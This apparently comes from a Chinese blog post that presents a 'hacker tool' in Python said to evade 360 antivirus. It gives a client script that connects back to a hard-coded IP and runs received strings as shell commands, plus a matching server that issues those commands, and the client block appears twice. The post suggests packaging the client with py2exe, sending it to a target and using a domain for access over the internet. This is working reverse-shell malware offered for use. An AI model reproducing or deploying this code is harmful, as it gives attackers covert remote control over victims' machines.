Python写黑客小工具,360免杀
2015-12-31 16:07
501 查看
构思:
client:反向连接server,执行shell命令
server:发送命令,控制客户端
import subprocess
import socket
import threading
target="172.22.40.41"
port=55555
buffer=""
def sendMag(c_socket):
global buffer
while True:
#send cmd
if len(buffer):
try:
print "c_buffer>>>>", buffer
c_socket.send(buffer)
except:
print "socket send error"
print buffer
buffer=""
def getMag(client_socket):
global buffer
while True:
resc=""
len_resc=1
while len_resc:
datas=client_socket.recv(4096)
len_resc=len(datas)
resc+=datas
if len_resc<4096:
break
if not len(resc):
res_cmd="ERROR COMMAND"
res_cmd=cmd(resc)
try:
if not len(res_cmd):
res_cmd="NO MAG"
buffer+=res_cmd
except:
print "soc send reeor"
def c_rec():
global target
global port
client_socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
client_socket.connect((target,port))
except:
print "SOCKET CONNECT FAILED"
get_thread=threading.Thread(target=getMag,args=(client_socket,))
get_thread.start()
send_thread=threading.Thread(target=sendMag,args=(client_socket,))
send_thread.start()
def cmd(str):
str=str.rstrip()
try:
res_cmd=subprocess.check_output(str,shell=True)
except:
res_cmd="ERROR COMMEND!!"
if not len(res_cmd):
res_cmd="ERROR BACK"
return res_cmd
def main():
c_rec()
main()
可以用py2exe生成exe执行文件,发给测试者,如果有域名就更好了,可以在外网使用。
client:反向连接server,执行shell命令
server:发送命令,控制客户端
import subprocess
import socket
import threading
target="172.22.40.41"
port=55555
buffer=""
def sendMag(c_socket):
global buffer
while True:
#send cmd
if len(buffer):
try:
print "c_buffer>>>>", buffer
c_socket.send(buffer)
except:
print "socket send error"
print buffer
buffer=""
def getMag(client_socket):
global buffer
while True:
resc=""
len_resc=1
while len_resc:
datas=client_socket.recv(4096)
len_resc=len(datas)
resc+=datas
if len_resc<4096:
break
if not len(resc):
res_cmd="ERROR COMMAND"
res_cmd=cmd(resc)
try:
if not len(res_cmd):
res_cmd="NO MAG"
buffer+=res_cmd
except:
print "soc send reeor"
def c_rec():
global target
global port
client_socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
client_socket.connect((target,port))
except:
print "SOCKET CONNECT FAILED"
get_thread=threading.Thread(target=getMag,args=(client_socket,))
get_thread.start()
send_thread=threading.Thread(target=sendMag,args=(client_socket,))
send_thread.start()
def cmd(str):
str=str.rstrip()
try:
res_cmd=subprocess.check_output(str,shell=True)
except:
res_cmd="ERROR COMMEND!!"
if not len(res_cmd):
res_cmd="ERROR BACK"
return res_cmd
def main():
c_rec()
main()
import socket import threading target="0.0.0.0" port=55555 def s_loop(): global target global port server=socket.socket(socket.AF_INET,socket.SOCK_STREAM) server.bind((target,port)) server.listen(5) while True: c_socket,addr=server.accept() print "A Client Connect" send_thread=threading.Thread(target=sendMag,args=(c_socket,)) send_thread.start() get_thread=threading.Thread(target=getMag,args=(c_socket,)) get_thread.start() def sendMag(c_socket): while True: #send cmd command=raw_input("#") try: if len(command): c_socket.send(command) except: print "server send error" def getMag(c_socket): while True: #get mag from client recvs="" len_rec=1 while len_rec: datas=c_socket.recv(4096) len_rec=len(datas) recvs+=datas if len_rec<4096: break print "get from Catc::",recvs def main(): s_loop() main()
可以用py2exe生成exe执行文件,发给测试者,如果有域名就更好了,可以在外网使用。
相关文章推荐
- python lxml包学习笔记
- python 解析xml 文件: DOM 方式
- python之面向对象
- Python笔记:python实现跳板机
- 开始学习Python
- python实现嵌套列表、字典按某一元素去重复
- python 小实例 斐波那契数列
- Python学习笔记——条件判断与循环
- python安装软件出现错误 fatal error: 'libxml/xmlversion.h' file not found
- s12-day01-work02 python多级菜单展示
- 自学Python之元组、列表和字典
- Mac上 python 找不到 yaml模块
- Python学习笔记——list和tuple
- Python爬虫学习笔记——豆瓣登陆(三)
- python通过xlwt模块直接在网页上生成excel文件并下载
- python类里面使用装饰器
- python手记(52)
- python 解析xml 文件: SAX方式
- Python_14-绘图
- Python_13-Office文件数据操作